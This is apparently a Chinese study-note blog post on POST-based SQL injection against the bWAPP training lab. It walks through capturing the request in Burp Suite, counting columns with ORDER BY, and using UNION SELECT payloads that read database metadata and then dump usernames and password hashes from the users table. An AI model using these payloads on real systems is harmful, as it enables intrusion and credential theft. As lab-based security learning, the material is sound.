![20d06f2db0aece4129d236cb0e29c2cd.gif](https://img-blog.csdnimg.cn/img_convert/20d06f2db0aece4129d236cb0e29c2cd.gif)
点击上方蓝字关注!
注:本篇文章为个人学习笔记仅供学习交流。POST型SQL注入
在HTTP常用方法中,POST方法提交的信息不存储与URL,而是存储在HTTP实体内容中,在大多的提交过程,用户是无感知的。 且注入信息是存储于HTTP实体内容中而不是URL,通过改造实体内容,达到实际执行的SQL语句获取更多信息的目的。示例
1.开启bwapp漏洞环境,如下图选择SQL injection(POST/Select),级别选择low。2.开启burpsuite,点击GO抓包。
3.如下图,将抓到的指定的包发送到Repeater模块
4.如下图,输入英文单引号测试。发现报错,说明存在注入点。
5.然后用order by 从order by 1开始递增,直到order by 8,发现报错,说明字段数为7。
6.用联合查询,查看哪些字段可以回显。
'' union select 1,2 3,4,5,6,7
由下图可以看出,2,3,4,5可以回显。
'' union select 1,database(),user(),version(),table_name,6,7 from information_schema.tables where table_schema=database()
'' union select 1,database(),user(),version(),group_concat(table_name),6,7 from information_schema.tables where table_schema=database()
='' union select 1,database(),user(),version(),group_concat(column_name),6,7 from information_schema.columns where table_name='users'
10.表结构已经知道,直接查询用户名和密码。密码已加密,解密方法见Web安全(二)SQL注入[一]
='' union select 1,database(),user(),group_concat(password),group_concat(login),6,7 from users
- End -
![9b373572dbd3a2132d9ff68e8dee045e.png](https://img-blog.csdnimg.cn/img_convert/9b373572dbd3a2132d9ff68e8dee045e.png)
Web安全(二)SQL注入[一]
全球最大的色情网站,保留着西方媒体最后的良心
Web安全(一)文件上传漏洞[三]
觉得不错,请点个在看